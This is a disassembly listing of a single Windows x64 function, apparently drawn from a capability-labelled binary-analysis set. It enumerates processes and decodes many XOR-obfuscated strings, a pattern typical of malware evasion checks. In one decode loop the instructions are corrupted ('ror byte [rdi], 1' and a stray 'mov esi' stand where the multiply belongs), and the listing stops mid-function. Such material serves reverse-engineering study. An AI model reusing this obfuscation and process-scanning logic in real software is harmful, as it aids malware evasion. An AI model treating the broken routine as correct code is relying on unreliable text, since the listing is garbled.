Function at 0x14000f180
Capabilities:
Encode data using xor
Enumerate processes
Get graphical window text

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xe58]
sub rsp, 0xf30
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140480c38]
xor rax, rsp
mov qword [rbp + 0xdf0], rax
mov dword [rbp + 0x8c0], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
mov qword [rsp + 0x60], rax
cmp rax, 0xffffffffffffffff
je 0x140014b0f
movsd xmm0, qword [str.ktVBTBRd:]
movsd qword [rsp + 0x68], xmm0
movzx ecx, word [0x1401ff620]
mov word [rsp + 0x70], cx
movzx edx, byte [0x1401ff622]
mov byte [rsp + 0x68], 0x5b
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor byte [rsp + 0x6c], 0x34
xor byte [rsp + 0x6d], 0x35
xor byte [rsp + 0x6e], 0x36
xor byte [rsp + 0x6f], 0x37
xor cl, 0x38
mov byte [rsp + 0x70], cl
xor byte [rsp + 0x71], 0x39
xor dl, 0x3a
mov byte [rsp + 0x72], dl
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000f261
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x30]
call fcn.1400050f0
nop
mov rax, qword [0x1401ff628]
mov qword [rsp + 0x68], rax
mov esi, 1
xor edi, edi
lea r14d, [rsi + 0x1e]
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1401ff62f], dil
je 0x14000f3ef
cmp r13d, 2
jl 0x14000f3ae
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1402017d0]
movd xmm0, dword [rsp + 0x68]
pxor xmm2, xmm0
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1402017d0]
movd xmm0, dword [rsp + 0x6c]
pxor xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
jmp 0x14000f3ef
lea r9, [rsp + 0x68]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000f3c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x14000f410
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x10]
call fcn.1400050f0
nop
movsd xmm0, qword [0x1401ff630]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x1401ff638]
mov word [rsp + 0x70], ax
movzx ecx, byte [0x1401ff63a]
mov byte [rsp + 0x68], reloc.WLDAP32.dll_Ordinal_45
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor byte [rsp + 0x6c], 0x34
xor byte [rsp + 0x6d], 0x35
xor byte [rsp + 0x6e], 0x36
xor byte [rsp + 0x6f], 0x37
xor al, 0x38
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], 0x39
xor cl, 0x3a
mov byte [rsp + 0x72], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000f4a0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x10]
call fcn.1400050f0
nop
mov rax, qword [str.dY_VUQ_f7H_a]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff647], 0
je 0x14000f61f
cmp r13d, 2
jl 0x14000f5e1
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14000f61f
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000f5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f640
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x30]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff648]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff64c]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff64e]
mov byte [rsp + 0x68], 0x78
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f6c0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x50]
call fcn.1400050f0
nop
movsd xmm0, qword [str.uGWAMAV:]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x1401ff658]
mov word [rsp + 0x70], ax
movzx ecx, byte [0x1401ff65a]
mov byte [rsp + 0x68], 0x45
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor byte [rsp + 0x6c], 0x34
xor byte [rsp + 0x6d], 0x35
xor byte [rsp + 0x6e], 0x36
xor byte [rsp + 0x6f], 0x37
xor al, 0x38
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], 0x39
xor cl, 0x3a
mov byte [rsp + 0x72], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000f752
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x70]
call fcn.1400050f0
nop
movsd xmm0, qword [0x1401ff660]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x1401ff668]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401ff66c]
mov word [rbp - 0x7c], ax
cmp byte [0x1401ff66d], 0
je 0x14000f8ef
mov r8d, edi
cmp r13d, 2
jl 0x14000f8b2
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff660]
pxor xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x7c]
pxor xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000f8c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000f910
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x90]
call fcn.1400050f0
nop
movups xmm0, xmmword [str._C_TFPED]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [0x1401ff680]
movups xmmword [rbp - 0x48], xmm1
mov eax, dword [0x1401ff690]
mov dword [rbp - 0x38], eax
movzx eax, word [0x1401ff694]
mov word [rbp - 0x34], ax
mov r8d, edi
cmp r13d, 2
jl 0x14000faa7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000f9a0
cmp r8d, 0x26
jge 0x14000fae0
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000fab1
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
lea rax, [rbp - 0x58]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000fb00
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0xb0]
call fcn.1400050f0
nop
mov rax, qword [str.dTVF_7gTP]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff69f], 0
je 0x14000fc7f
cmp r13d, 2
jl 0x14000fc43
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14000fc7f
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000fc50
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000fca0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xd0]
call fcn.1400050f0
nop
movsd xmm0, qword [0x1401ff6a0]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff6a8]
mov dword [rsp + 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x74], al
mov r8d, edi
cmp r13d, 2
jl 0x14000fdf7
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1401ff6a0]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000fe10
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000fe60
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xf0]
call fcn.1400050f0
nop
movsd xmm0, qword [str.xefc]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x1401ff6b8]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401ff6bc]
mov word [rbp - 0x7c], ax
cmp byte [0x1401ff6bd], 0
je 0x14000ffff
mov r8d, edi
cmp r13d, 2
jl 0x14000ffc3
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.xefc]
pxor xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x7c]
pxor xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000ffd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x120], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010020
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x110]
call fcn.1400050f0
nop
mov eax, dword [str.yus3]
mov dword [rsp + 0x68], eax
cmp byte [0x1401ff6c3], 0
je 0x14001011f
cmp r13d, 2
jl 0x1400100e4
movdqa xmm3, xmmword [0x140201780]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1402017c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1402017c0]
shufps xmm2, xmm0, 0xdd
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402017a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1402017d0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x14001011f
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
ror byte [rdi], 1
mov esi, 0x37c86bc2
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400100f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010140
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x130]
call fcn.1400050f0
nop
movups xmm0, xmmword [str.yus_t]
movups xmmword [rsp + 0x78], xmm0
movzx eax, byte [0x1401ff6d8]
mov byte [rbp - 0x78], al
mov r8d, edi
cmp r13d, 2
jl 0x1400102c7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400101c0
cmp r8d, 0x11
jge 0x14001030f
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400102e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140010330
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x150]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff6dc]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff6e0]
mov word [rsp + 0x6c], ax
movzx ecx, byte [0x1401ff6e2]
mov byte [rsp + 0x68], 0x49
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xor cl, 0x36
mov byte [rsp + 0x6e], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400103b0
lea rdx, [rsp + 0x68]
